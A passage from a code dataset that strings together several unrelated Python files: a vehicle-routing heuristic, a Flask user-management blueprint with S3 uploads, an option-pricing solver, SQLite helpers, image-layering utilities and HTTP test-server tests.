la hoja vehiculos segun la cantidad de periodos, vehiculos de primer y segundo nivel\n capacidad_vehiculos_s = [[hoja_vehiculos.cell(row=i, column=j).value for j in range(2, 2+n_periodos)] for i in range(3+n_vehiculos_p, 3+n_vehiculos_p+n_vehiculos_s)]\n\n # lectura y obtencion de datos de las instalaciones de primer y segundo nivel\n hoja_instalaciones = datos['instalaciones'] # seleccionar la hoja instalaciones como hoja activa\n # Obtencion de las capacidades de los centros de primer nivel de la primera tabla en la hoja instalaciones segun la cantidad de centros regionales y periodos\n capacidad_cr = [[hoja_instalaciones.cell(row=i, column=j).value for j in range(2, 2+n_periodos)] for i in range(3, 3+n_centrosregionales)]\n # Obtencion de las capacidades de los centros de segundo nivel de la segunda tabla en la hoja instalaciones segun la cantidad de centros locales, centros regionales y periodos\n capacidad_cl = [[hoja_instalaciones.cell(row=i, column=j).value for j in range(2, 2+n_periodos)] for i in range(5+n_centrosregionales, 5+n_centrosregionales+n_centroslocales)]\n\n return np.array(demanda_clientes), np.array(capacidad_vehiculos_p), np.array(capacidad_vehiculos_s), np.array(capacidad_cr), np.array(capacidad_cl)\n\n\n# Funcion que binariza los valores que se pasen como parametro\n# con el objetivo de llevar un control de la operacion de resta realizada en las capacidades de los centros y los vehiculos\ndef binarize(val):\n if val > 0:\n return 1\n else:\n return 0\n\n\n# Funcion que traduce en un diccionario la matriz que se pasa como parametro\n# con el objetivo de llevar un registro temporal de las asignaciones\ndef dictionarize(mat):\n dicc = {} # inicializacion de un diccionario vacio\n for idx, val in enumerate(mat[1, :]): # recorrer cada uno de los valores de la matriz y enumerarlos para llevar un control de indices\n if val not in dicc.keys():\n dicc[val] = [mat[0, idx]] # si el valor no esta en el diccionario se guarda y se le asigna el contenido correspondiente de la matriz\n else:\n dicc[val].append(mat[0, idx]) # en caso de que el valor si este en el diccionario se adjunta el contenido correspondiente de la matriz al ya asignado anteriormente\n return dicc\n\n\n# Funcion que permite traducir o mapear las asignaciones de la matriz que se pasa como parametro\n# con el objetivo de poder almacenar y utilizar los centros habilitados en cada asignacion\ndef maping(demanda):\n n_centros_habs = len(demanda)\n demanda_cl_np = np.array([x[1] for x in demanda])\n centros_habs = [int(x[0]) for x in demanda]\n return n_centros_habs, demanda_cl_np, centros_habs\n\n\n# Funcion para las asignaciones (Decision de localizacion-asignacion) recibe como parametros:\n# n_asignar: numero de clientes o centros locales que seran asignados segun el nivel\n# n_centros: numero de centros locales o centros regionales a los que se asigna segun el nivel\n# periodo: periodo en el que se encuentre la asignacion\n# n_productos: numero de productos\n# capacidad_centro: capacidad del centro al cual se le esten asignando clientes u otros centros segun el nivel\n# demanda: demanda del cliente o centro segun el nivel\n# mapeo: vector con los centros habilitados, para el segundo escalon en el periodo 1 la longitud del mapeo es igual a 0\n# La funcion devuelve la matriz de localizacion-asignacion y la demanda del centro local o regional segun el nivel y el periodo que se este trabajando\n\ndef asignaciones(n_asignar, n_centros, periodo, n_productos, capacidad_centro, demanda, mapeo, escalon):\n\n por_asignar = np.array(range(1, n_asignar + 1)) # creacion de una lista con los clientes o centros que se asignaran\n centros = np.array(range(1, n_centros + 1)) # creacion de una lista con los centros a los que se asginaran\n asignacion_lv = np.array([por_asignar, np.zeros(len(por_asignar))]) # inicializacion de la matriz localizacion-asignacion\n intentos = 0 # variable para el control de intentos de asignaciones\n rango = (periodo-1)*n_productos # rango de indices para moverse a traves de la matriz de demanda\n copia_capacidad = np.copy(capacidad_centro) # copia de la capacidad del centro para evitar modificaciones en las capacidades originales\n if len(mapeo) > 0 and escalon == 2:\n centro_temp = np.random.choice(mapeo) # selecciona un centro habilitado previamente en otro periodo\n else:\n centro_temp = np.random.choice(centros) # seleccion aleatoria del primer centro - habilitacion del primer centro\n # idx_c = 0\n while len(por_asignar) > 0: # mientras existan clientes o centros por asignar\n if intentos < 3: # si los intentos de asignacion son menores a 3\n asig_temp = np.random.choice(por_asignar) # selecciona un cliente o centro aleatorio para asignar\n # resta la capacidad del centro con la demanda del cliente o centro\n resta_capacidad = copia_capacidad[centro_temp-1, :]-demanda[asig_temp-1, rango:rango+n_productos]\n # actualiza la nueva capacidad del centro\n copia_capacidad[centro_temp-1, :] = copia_capacidad[centro_temp-1, :]-demanda[asig_temp-1, rango:rango+n_productos]\n binvec = np.array([binarize(x) for x in resta_capacidad]) # se binariza la resta de la capacidad\n if binvec.all(): # si la resta en la capacidad para todos los productos da un valor positivo\n idx_c = int(np.where(asignacion_lv[0, :] == asig_temp)[0]) # almacena el indice del centro\n asignacion_lv[1, idx_c] = centro_temp # guarda en la matriz de localizacion-asignacion el centro en la posicion del cliente o centro seleccionado\n idx_d = int(np.where(por_asignar == asig_temp)[0]) # almacena el indice del cliente o centro que ya fue asignado\n por_asignar = np.delete(por_asignar, [idx_d]) # elimina de la lista el cliente o centro asignado\n else: # en caso de que la resta de la capacidad resulte negativa para al menos 1 valor\n intentos += 1 # aumenta en 1 el numero de intentos\n # reestablece la capacidad del centro al momento antes de la resta\n copia_capacidad[centro_temp - 1, :] = copia_capacidad[centro_temp - 1, :] + demanda[asig_temp - 1, rango:rango + n_productos]\n else: # al llegar al numero maximo de intentos\n if len(mapeo) > 1 and escalon == 2:\n idx_cl = np.where(mapeo == centro_temp)\n mapeo = np.delete(mapeo, [idx_cl])\n idx_m = np.where(centros == centro_temp)\n centros = np.delete(centros, [idx_m])\n centro_temp = np.random.choice(mapeo)\n intentos = 0\n elif len(mapeo) == 1 and escalon == 2: # si se usaron todos los centros y aun hay clientes por asignar\n idx_cl = np.where(mapeo == centro_temp) # seleccionamos el indice del centro que ya agoto su capacidad\n centros = np.delete(centros, [idx_cl])\n centro_temp = np.random.choice(centros) # seleccionamos o habilitamos un nuevo centro que no se haya usado\n intentos = 0 # reiniciamos el numero de intentos\n else:\n idx_cl = np.where(centros == centro_temp) # seleccionamos el indice del centro que ya agoto su capacidad\n centros = np.delete(centros, [idx_cl]) # eliminamos de la lista de centros el centro que ya fue agotado\n centro_temp = np.random.choice(centros) # seleccionamos o habilitamos un nuevo centro\n intentos = 0 # reiniciamos el numero de intentos\n\n dicc = dictionarize(asignacion_lv) # generamos un diccionario con las asignaciones realizadas donde la llave es el centro y los valores con los centros o clientes asignados\n demandaf = [] # inicializamos un vector donde se almacenaran la demandas finales de los centros\n for centro, asignados in dicc.items(): # para cada centro y valores asignados a ese centro\n demandacentro = [centro] # creamos un vector con el centro seleccionado\n suma = 0 # inicializamos la suma de las demandas\n for asig in asignados:\n suma += demanda[int(asig) - 1, rango:rango + n_productos] # sumamos las demandas de cada cliente o centro que fue asignado a ese centro\n demandacentro.append(suma) # adjuntamos la demanda al vector que contiene las demandas del centro\n demandaf.append(demandacentro) # adjuntamos las demandas del centro al vector que contiene las demandas de todos los centros\n # las siguientes lineas de codigo funcionan como mapeo de las asignaciones para asignar realmente los centros habilitados en el escalon anterior y periodos anteriores\n if len(mapeo) > 0 and escalon == 1:\n asignacion_lv[escalon-1, :] = mapeo\n\n return asignacion_lv, demandaf\n\n\n# Funcion para el plan de rutas, recibe como parametros:\n# asignacion_lv: matriz de asignacion-localizacion\n# n_vehiculos: numero de vehiculos\n# demanda: demanda de clientes o centros segun corresponda el nivel\n# periodo: periodo en el que se encuentre la asignacion de rutas\n# n_productos: numero de productos\n# La funcion devuelve una lista de listas con el plan de rutas del periodo que se este trabajando\n\ndef rutas(asignacion_lv, n_vehiculos, capacidad_vehiculos, demanda, periodo, n_productos):\n rutas_lv = [] # inicializacion del vector de vetores de rutas\n vehiculos = list(range(1, n_vehiculos+1)) # creacion de una lista de vehiculos con los vehiculos existentes\n dicci_asignacion = dictionarize(asignacion_lv) # generacion de un diccionario con la matriz de asignacion-localizacion\n rango = (periodo-1)*n_productos # rango de indices para moverse a travesde la matriz de demandas\n capacidad_vehiculos_copy = np.copy(capacidad_vehiculos)\n for centro, asignados in dicci_asignacion.items(): # por cada centro y sus respectivas asignaciones\n idx_c = 0 # inicializacion del indice para recorrer los centros o clientes asignados\n vehiculo_temp = np.random.choice(vehiculos) # seleccionamos un vehiculo aleatorio\n ruta_temp = [int(centro), vehiculo_temp, 0] # ingresamos el centro, el vehiculo e iniciamos ruta\n veh_cap = np.copy(capacidad_vehiculos_copy[vehiculo_temp-1, :]) # copiamos la capacidad del vehiculo para evitar modificar la capacidad orginal\n while idx_c < len(asignados): # mientras no se hayan recorrido todos los asignados(cliente o centro segun corresponda)\n dem_c = demanda[idx_c, rango:rango+n_productos] # obtenemos la demanda del asignado\n resta = veh_cap - dem_c # restamos la capacidad del vehiculo con la demanda del asignado\n binvec = np.array([binarize(x) for x in resta]) # binarizamos la resta\n if binvec.all(): # si la resta es positiva para cada producto\n ruta_temp.append(asignados[idx_c]) # agregue a la ruta el centro accediendo al indice del mapeo que le corresponde\n veh_cap -= dem_c # restamos la capacidad del vehiculo\n idx_c += 1 # aumentamos el indice\n else: # al agotar la capacidad del vehiculo\n if ruta_temp[-1] == 0: # si el vehiculo seleccionado no satisface ningun cliente\n ruta_temp.pop(-1) # elimina el 0 de inicio de ruta de ese vehiculo\n ruta_temp.pop(-1) # elimina el vehiculo\n else:\n ruta_temp.append(0) # finalizamos ruta\n vehiculos.pop(vehiculos.index(vehiculo_temp)) # eliminamos el vehiculo asigando de la lista de vehiculos\n vehiculo_temp = np.random.choice(vehiculos) # seleccionamos un nuevo vehiculo aleatorio\n veh_cap = capacidad_vehiculos_copy[vehiculo_temp - 1, :] # obtenemos la capacidad del nuevo vehiculo\n ruta_temp += [vehiculo_temp, 0] # agregamos el vehiculo al plan de rutas e iniciamos una nuvea ruta\n ruta_temp.append(0) # finalizamos ruta\n rutas_lv.append(ruta_temp) # agregamos la ruta completa a la lista de rutas\n\n return rutas_lv\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":16146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"55072171","text":"from azfpMarian import *\r\n\r\ninput_file_path = './data/18030100.01a'\r\nzplsc_echogram_file_path = './data/18030100.png'\r\nparser = ZplscCParser(None, open(input_file_path,'rb') , ZplscCParser.rec_exception_callback)\r\nparser.create_echogram(zplsc_echogram_file_path)\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\nplt.imshow(power_data_dict[38000.0],aspect='auto')\r\nplt.colorbar()\r\nplt.show()\r\n\r\nplt.imshow(power_data_dict[120000.0],aspect='auto')\r\nplt.colorbar()\r\nplt.show()","sub_path":"ref_code/runAzfpMarian.py","file_name":"runAzfpMarian.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"165169463","text":"import re\nfrom flask import Blueprint, render_template, url_for, request, redirect, flash, abort\nfrom models.user import User\nfrom models.image import Image\nfrom app import login_manager, S3_BUCKET, s3\nfrom flask_login import logout_user, login_required, current_user\n\nusers_blueprint = Blueprint('users',\n __name__,\n template_folder='templates')\n\ndef upload_file_to_s3( acl=\"public-read\"):\n s3.upload_fileobj(\n request.files.get('user_file'),\n S3_BUCKET,\n request.files.get('user_file').filename,\n ExtraArgs={\n \"ACL\": acl,\n \"ContentType\": request.files.get('user_file').content_type\n }\n )\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.get_or_none(User.id == user_id)\n\n@users_blueprint.route('/new', methods=['GET'])\ndef new():\n return render_template('users/new.html')\n\n\n@users_blueprint.route('/', methods=['POST'])\ndef create():\n errors = []\n name = request.form.get(\"name\")\n username = request.form.get(\"username\")\n email = request.form.get(\"email\")\n password = request.form.get(\"password\")\n repeatpassword = request.form.get(\"repeatpassword\")\n\n if password != repeatpassword:\n errors.append(\"Invalid password\")\n return render_template('users/new.html', username=request.form.get('username'),email=request.form.get('email'))\n\n\n newuser = User(name=name, username=username, email=email, password=password)\n if newuser.save():\n flash('User created', 'success')\n return render_template('sessions/new.html')\n else:\n errors += newuser.errors\n \n for error in errors:\n flash(error, 'danger')\n return render_template('users/new.html', username=request.form.get('username'),email=request.form.get('email'))\n\n@users_blueprint.route('/signin', methods=[\"GET\"])\ndef sign_in():\n return render_template('users/sign_in.html')\n\n@users_blueprint.route('/logout', methods=[\"POST\"])\ndef destroy():\n logout_user()\n return redirect(url_for('sessions.new'))\n\n@users_blueprint.route('/', methods=[\"GET\"])\n@login_required\ndef show(username):\n user = User.get_or_none(User.username == username)\n if user:\n return render_template('users/username.html', user=user)\n else:\n return abort(404)\n\n\n@users_blueprint.route('/', methods=[\"GET\"])\ndef index():\n return render_template('users/new.html')\n\n\n@users_blueprint.route('/edit', methods=['GET'])\n@login_required\ndef edit():\n return render_template('users/edit.html')\n\n\n@users_blueprint.route('/update', methods=['POST'])\ndef update():\n errors = []\n input_name = request.form.get('newname')\n input_username = request.form.get('new_username')\n user = User.get_or_none(User.id == current_user.id)\n\n if input_name:\n user.name = input_name\n if input_username:\n user.username = input_username\n\n if user.save():\n flash('Info updated', 'success')\n return redirect(url_for('users.edit'))\n else:\n errors += user.errors\n\n for error in errors:\n flash(error, 'danger')\n return render_template('users/edit.html')\n\n@users_blueprint.route('/upload', methods=[\"POST\"])\n@login_required\ndef upload_file():\n file = request.files.get('user_file')\n user = User.get_or_none(User.id == current_user.id)\n try:\n upload_file_to_s3()\n uploaded_photos = User.update(profile_picture = file.filename).where(User.id == current_user.id)\n uploaded_photos.execute()\n return redirect(url_for(\"users.show\", username=current_user.username))\n\n except:\n flash('Please choose a profile picture', 'danger')\n return redirect(url_for(\"users.edit\"))\n\n@users_blueprint.route('/image', methods=[\"POST\"])\n@login_required\ndef upload_image():\n image = request.files.get('user_file')\n user = User.get_or_none(User.id == current_user.id)\n try:\n upload_file_to_s3()\n uploaded_images = Image(image=image.filename, user=user)\n uploaded_images.save()\n flash('Upload successful', 'success')\n return redirect(url_for(\"users.show\", username=current_user.username))\n \n except:\n flash('Please choose an image before you upload', 'danger')\n return redirect(url_for(\"users.show\", username=current_user.username))\n\n\n","sub_path":"instagram_web/blueprints/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"486418090","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 12 14:25:23 2021\r\n\r\n@author: Diego\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy.sparse\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n#making the bottom boundary\r\ndef bottom_boundary_condition(K, T, S_min, r, t):\r\n \r\n #we want the bottom side to be all zeros\r\n return np.zeros(t.shape)\r\n\r\n#this is for the top condition\r\ndef top_boundary_condition(K, T, S_max, r, t):\r\n \r\n #S_max - exp(-r(1-t))K\r\n return S_max - np.exp(-r(1-t)) * K\r\n\r\n#And we want the final boundary condition\r\ndef final_boundary_condition(K, T, S_min, r, t):\r\n \r\n #that is just the option payout max\r\n return np.max(S_min - K, 0)\r\n\r\n#when we make the ODE we will get V_{t-1} = (1 - \\lambda \\gamma t)V_t - S_t W_t, so we need a way to get Lambda\r\ndef compute_abc(K, T, sigma, r, S, dt, dS):\r\n \r\n a = -sigma**2 * S**2 / (2*dS**2) + r*S / (2*dS)\r\n b = r + sigma**2 * S**2 / (dS**2)\r\n c = -sigma**2 * S**2 / (2* dS**2) - r*S / (2*dS)\r\n \r\n return a,b,c\r\n\r\ndef compute_lambda(a,b,c):\r\n \r\n return scipy.sparse.diags ([a[1:], b, c[:-1]], offsets = [-1, 0, 1])\r\n\r\ndef compute_W(a, b, c, V0, VM):\r\n \r\n M = len(b) + 1\r\n W = np.zeros(M-1)\r\n W[0] = a[0] * V0\r\n W[-1] = c[-1] * VM\r\n \r\n return W\r\n\r\ndef price_call_explicit(K,T,r,sigma,N,M):\r\n \r\n dt = T/N\r\n S_min = 0\r\n S_max = K * np.exp(8 * sigma * np.sqrt(T))\r\n dS = (S_max - S_min) / M\r\n S = np.linspace(S_min, S_max, M+1)\r\n t = np.linspace(0,T,N+1)\r\n V = np.zeros((N+1, M+1))\r\n \r\n #set the boundary conditions\r\n V[:,-1] = top_boundary_condition(K,T,S_max,r,t)\r\n V[:,0] = bottom_boundary_condition(K,T,S_max,r,t)\r\n V[-1,:] = final_boundary_condition(K,T,S)\r\n \r\n a,b,c = compute_abc(K,T,sigma,r,S[1:-1],dt,dS)\r\n Lambda = compute_lambda(a,b,c)\r\n identity = scipy.sparse.identity(M-1)\r\n \r\n for i in range(N,0, -1):\r\n \r\n W = compute_W(a,b,c,V[i,0], V[i,M])\r\n V[i-1, 1:M] = (identity-Lambda*dt).dot(V[i,1:M]) - W*dt\r\n \r\n return V,t,S\r\n\r\ntest = price_call_explicit(200, 5, 0.05, 3, 10, 5)","sub_path":"DanielReti/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"492980249","text":"import sqlite3\nimport os\n\n\nDEFAULT_PATH = os.path.join(os.path.dirname(__file__), 'database.sqlite3')\n\n\ndef db_connect(db_path=DEFAULT_PATH):\n con = sqlite3.connect(db_path)\n return con\n\n\ndef create_summary_table():\n con = db_connect()\n cur = con.cursor()\n group_members_sql = (\"\"\"\n CREATE TABLE IF NOT EXISTS members (\n id text PRIMARY KEY,\n name text,\n messages_sent integer,\n likes_given integer,\n likes_received integer,\n words_sent integer,\n self_likes integer)\"\"\")\n cur.execute(group_members_sql)\n\n\ndef create_members_table():\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n group_members_sql = \"\"\"\n CREATE TABLE IF NOT EXISTS members (\n id text PRIMARY KEY,\n name text,\n messages_sent integer,\n likes_given integer,\n likes_received integer,\n words_sent integer,\n likes_by_members integer,\n shared_likes integer,\n self_likes integer)\"\"\"\n cur.execute(group_members_sql)\n\n\ndef create_individual_member_tables(users):\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n for user in users:\n table_name = users[user]['name'].replace(' ', '_')\n group_members_sql = (\"\"\"\n CREATE TABLE IF NOT EXISTS {} (\n id text PRIMARY KEY,\n name text,\n likes_given_to integer,\n likes_received_from integer)\"\"\").format(table_name)\n cur.execute(group_members_sql)\n group_members_data_sql = (\"\"\"\n INSERT OR IGNORE INTO {} (id, name, likes_given_to, likes_received_from) \n VALUES (?, ?, ?, ?)\"\"\").format(table_name)\n for user_inner in users:\n cur.execute(group_members_data_sql, (users[user_inner]['id'], users[user_inner]['name'], 0, 0))\n con.commit()\n\n\ndef create_messages_table():\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n messages_sql = \"\"\"\n CREATE TABLE IF NOT EXISTS messages (\n id test PRIMARY KEY,\n created_at integer,\n user_id integer,\n group_id integer,\n name text NOT NULL,\n text text,\n system integer,\n favorited_by text )\"\"\"\n cur.execute(messages_sql)\n\n\ndef insert_member(member):\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n member_sql = \"INSERT OR IGNORE INTO members (id, name, messages_sent, likes_given, likes_received, words_sent, self_likes) VALUES (?, ?, ?, ?, ?, ?, ?)\"\n cur.execute(member_sql, (member['id'], member['name'], member['messages_sent'], member['likes_given'], member['likes_received'], member['words_sent'], member['self_likes']))\n con.commit()\n\n\ndef update_member(member):\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n member_sql = \"UPDATE members SET name = ?, messages_sent = ?, likes_given = ?, likes_received = ?, words_sent = ?, self_likes = ? WHERE id = ?\"\n cur.execute(member_sql, (member['name'], member['messages_sent'], member['likes_given'], member['likes_received'], member['words_sent'], member['self_likes'], member['id']))\n con.commit()\n\n\ndef insert_messages(messages):\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n for message in messages:\n message_sql = \"INSERT OR IGNORE INTO messages (id, created_at, user_id, group_id, name, text, system, favorited_by) VALUES (?, ?, ?, ?, ?, ?, ?, ?)\"\n cur.execute(message_sql, (message['id'], message['created_at'], message['user_id'], message['group_id'], message['name'], message['text'], message['system'], ','.join(message['favorited_by'])))\n con.commit()\n\n\ndef update_individual_member_table(users):\n con = db_connect('db_files/test.sqlite3')\n cur = con.cursor()\n for user in users:\n table_name = users[user]['name'].replace(' ', '_')\n likes_given = users[user]['shared_likes'].items()\n likes_received = users[user]['likes_by_member'].items()\n for given in likes_given:\n member_sql = \"UPDATE {} SET likes_given_to = ? WHERE id = ?\".format(table_name)\n cur.execute(member_sql, (given[1], given[0]))\n\n for received in likes_received:\n member_sql = \"UPDATE {} SET likes_received_from = ? WHERE id = ?\".format(table_name)\n cur.execute(member_sql, (received[1], received[0]))\n\n con.commit()\n\n\n","sub_path":"db_utils.py","file_name":"db_utils.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"214382388","text":"import numpy as np\nimport matplotlib.pyplot as plt\n#%matplotlib inline\n#h(x) = theta_0 + theta_1*x\ndef cost(theta_0, theta_1, xs, ys):\n distance = 0\n for x,y in zip(xs,ys):\n predicted_value = theta_0 + theta_1*x\n distance+= abs(y - predicted_value)\n return distance/len(xs)\nxs = np.array([1000,2000,4000])\nys = [200000,250000,300000]\n#print(zip(xs,ys))\n#for x,y in zip(xs,ys):\n #print(x,y)\ntheta_0 = 0\n#costs = [cost(theta_0,theta_1, xs, ys) for theta_1 in np.arange(200)]\n#print(costs)\n#plt.plot(np.arange(200), costs)\n#plt.show()\n#y = 32 + 175000*x\nprint(np.ones(len(xs)))\nA = np.array([ xs, np.ones(len(xs))])\n#print(A)\n#w = np.linalg.lstsq(A.T,ys,rcond=-1)[0]\nw = np.linalg.lstsq(A.T,ys,rcond=-1)[0]\nprint(w)\nline = w[0]*xs+w[1] # regression line\nprint(\"Numpy solution: %s\" % w)\nplt.plot(xs, line, 'b-', xs, ys, 'o')\nplt.show()\n","sub_path":"linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"163113220","text":"from PIL import Image\nimport numpy\nfrom numpy import asarray\n\ndef ImagetoNumpy(ImageDirectory , mode = 'L' , verbosity = False):\n image = Image.open(ImageDirectory).convert(mode)\n if verbosity == True:\n print(image.format)\n print(image.size)\n print(image.mode)\n image.show()\n\n data = asarray(image)\n\n if verbosity == True:\n print(type(data))\n print(data.shape)\n return(data)\n\n#Myimage = ImagetoNumpy('photo.jpg' , verbosity= False)\n\ndef CreateArray(ImageData , verbosity = False):\n shape = ImageData.shape\n NewArray = numpy.empty(shape, dtype=float, order='C')\n if verbosity == True:\n print(NewArray.shape)\n image2 = Image.fromarray(NewArray)\n image2.show()\n return(NewArray)\n\n#NewArray = CreateArray(Myimage , verbosity= False)\n\n\ndef Cutofflayers(cutoff , Imagedirectory , cutABorbL = 'below' , save = True , verbosity = False):\n Imagedata = ImagetoNumpy(Imagedirectory, verbosity=False)\n NewArray = CreateArray(Imagedata, verbosity=False)\n shape = NewArray.shape\n for x in range(shape[0]):\n for y in range(shape[1]):\n if cutABorbL == 'below':\n if Imagedata[x, y] <= cutoff:\n NewArray[x, y] = Imagedata[x, y]\n if cutABorbL == 'above':\n if Imagedata[x, y] >= cutoff:\n NewArray[x, y] = Imagedata[x, y]\n if verbosity == True:\n print(NewArray)\n image2 = Image.fromarray(NewArray)\n image2.show()\n\n#Cutofflayers(20 , 'photo.jpg' , cutABorbL = 'above' , save = True , verbosity = True)\n\n\ndef BelowCutofflayers(cutoff , Imagedata , save = True , verbosity = False):\n NewArray = CreateArray(Imagedata, verbosity=False)\n shape = NewArray.shape\n for x in range(shape[0]):\n for y in range(shape[1]):\n if Imagedata[x, y] <= cutoff:\n NewArray[x, y] = Imagedata[x, y]\n return(NewArray)\n\ndef CutintoNlayers(N , Imagedirec , verbosity = False):\n\n Imagedata = ImagetoNumpy(Imagedirec , verbosity=False)\n shape = Imagedata.shape\n for x in range(1, N+1):\n if x == 1:\n cutoff = x * 256 / N\n ArrayUp = BelowCutofflayers(cutoff , Imagedata, save=True, verbosity=False)\n ImageName = './output/' + str(x) + '-' + str(N) + Imagedirec\n image2 = Image.fromarray(ArrayUp).convert('RGB').save(ImageName)\n #image2.show()\n\n else:\n cutoffup = x * 256 / N\n cutoffdown = (x - 1) * 256 / N\n ArrayUp = BelowCutofflayers(cutoffup , Imagedata, save=True, verbosity=False)\n ArrayDown = BelowCutofflayers(cutoffdown, Imagedata, save=True, verbosity=False)\n FinalArray = ArrayUp - ArrayDown\n #print(FinalArray)\n ImageName = './output/' + str(x) + '-' + str(N) + Imagedirec\n image2 = Image.fromarray(FinalArray).convert('RGB').save(ImageName)\n #image2.show()\n\n\ndef AddingTwoNumpyArray(Array1 , ArraytoAddInto, Location1 , Location2):\n shape = Array1.shape\n for x in range(shape[0]):\n for y in range(shape[1]):\n a = round(x + Location1(shape[0]))\n b = round(y + Location2(shape[1]))\n ArraytoAddInto[a , b] = Array1[x, y]\n return(ArraytoAddInto)\n\n#CutintoNlayers(10 , 'photo.jpg', verbosity = True)\n\n\ndef GenerateClipartofallImagesTogehter(N , Imagedirec):\n\n Imagedata = ImagetoNumpy(Imagedirec , verbosity=False)\n shape = Imagedata.shape\n BigArray = numpy.empty([shape[0]*2 , shape[1]*2 ], dtype=float, order='C')\n print(N**2)\n\n for x in range(1, N+1):\n if x == 1:\n cutoff = x * 256 / N\n ArrayUp = BelowCutofflayers(cutoff , Imagedata, save=True, verbosity=False)\n AddingTwoNumpyArray(ArrayUp, BigArray, 0, 0)\n\n else:\n cutoffup = x * 256 / N\n cutoffdown = (x - 1) * 256 / N\n ArrayUp = BelowCutofflayers(cutoffup , Imagedata, save=True, verbosity=False)\n ArrayDown = BelowCutofflayers(cutoffdown, Imagedata, save=True, verbosity=False)\n FinalArray = ArrayUp - ArrayDown\n AddingTwoNumpyArray(FinalArray , BigArray, 1, 1)\n\n ImageName = './output/BIgOutput' + str(N) + Imagedirec\n image2 = Image.fromarray(BigArray).convert('RGB').save(ImageName)\n image2.show()\n\n","sub_path":"Day 29 - Robotic arm-4/2 - LayerImagesToLocationMap.py","file_name":"2 - LayerImagesToLocationMap.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"180591947","text":"# -*- coding: utf-8 -*-\nimport time\nfrom hamcrest import *\nfrom nose.tools import assert_raises\n\nfrom httptestserver import (HttpTestServer, HttpsTestServer, Server,\n http_server, https_server)\nimport requests\n\n\nclass ServerTestMixin(object):\n def request(self, *args, **kwargs):\n kwargs['verify'] = kwargs.get('verify', False)\n return requests.request(*args, **kwargs)\n\n\nclass DataMixin(object):\n def test_it_should_send_headers(self):\n headers = {'key': 'value'}\n\n self.request('GET', self.default_url, headers=headers)\n\n assert_that(self.server.data['headers'], has_entries(headers))\n\n def test_it_should_send_multiple_valued_headers(self):\n headers = dict([('key', 'value')] * 50)\n\n self.request('GET', self.default_url, headers=headers)\n\n assert_that(self.server.data['headers'], has_entries(headers))\n\n def test_it_should_have_all_data_in_dict(self):\n self.request('POST', self.default_url, data='content')\n\n assert_that(self.server.data, has_entries({\n 'command': is_('POST'),\n 'body': is_(b'content'),\n 'rfile': has_property('read'),\n 'wfile': has_property('write'),\n 'path': is_(self.default_path),\n 'request_version': is_('HTTP/1.1'),\n 'client_address': contains('127.0.0.1', greater_than(0))\n }))\n\n def test_it_should_have_all_requests_stored(self):\n self.request('GET', self.server.url('/first'))\n self.request('POST', self.server.url('/second'), data=b'data')\n\n assert_that(self.server.history, contains(\n has_entries({'command': 'GET', 'path': '/first'}),\n has_entries({'command': 'POST', 'path': '/second', 'body': b'data'})\n ))\n\n\nclass MethodsMixin(object):\n \"\"\"Tests sobre metodos/verbos HTTP\n\n Lista de metodos http\n Ver: http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html\n \"\"\"\n def test_it_should_send_GET_requests(self):\n self.request('GET', self.default_url)\n\n assert_that(self.server.data['command'], is_('GET'))\n\n def test_it_should_send_POST_requests(self):\n self.request('POST', self.default_url)\n\n assert_that(self.server.data['command'], is_('POST'))\n\n def test_it_should_send_PUT_requests(self):\n self.request('PUT', self.default_url)\n\n assert_that(self.server.data['command'], is_('PUT'))\n\n def test_it_should_send_HEAD_requests(self):\n self.request('HEAD', self.default_url)\n\n assert_that(self.server.data['command'], is_('HEAD'))\n\n def test_it_should_send_PATCH_requests(self):\n self.request('PATCH', self.default_url)\n\n assert_that(self.server.data['command'], is_('PATCH'))\n\n def test_it_should_send_DELETE_requests(self):\n self.request('DELETE', self.default_url)\n\n assert_that(self.server.data['command'], is_('DELETE'))\n\n def test_it_should_send_OPTIONS_requests(self):\n self.request('OPTIONS', self.default_url)\n\n assert_that(self.server.data['command'], is_('OPTIONS'))\n\n def test_it_should_send_TRACE_requests(self):\n self.request('TRACE', self.default_url)\n\n assert_that(self.server.data['command'], is_('TRACE'))\n\n def test_it_should_send_CONNECT_requests(self):\n self.request('CONNECT', self.default_url)\n\n assert_that(self.server.data['command'], is_('CONNECT'))\n\n\nclass ConnectionMixin(object):\n \"\"\"Tests sobre el envio de datos a traves de la conexion\"\"\"\n\n def test_it_should_raise_timeout_if_response_delays(self):\n # Cuidado con este test, la granularidad del timeout\n # es en segundos y no en milisegundos\n self.server.data['response_timeout'] = 2\n\n with assert_raises(requests.exceptions.Timeout):\n self.request('GET', self.default_url, timeout=1)\n\n def test_it_should_return_given_response(self):\n expected_response = b'a'\n self.server.data['response_content'] = expected_response\n\n r = self.request('GET', self.default_url)\n\n assert_that(r.content, is_(expected_response))\n\n def 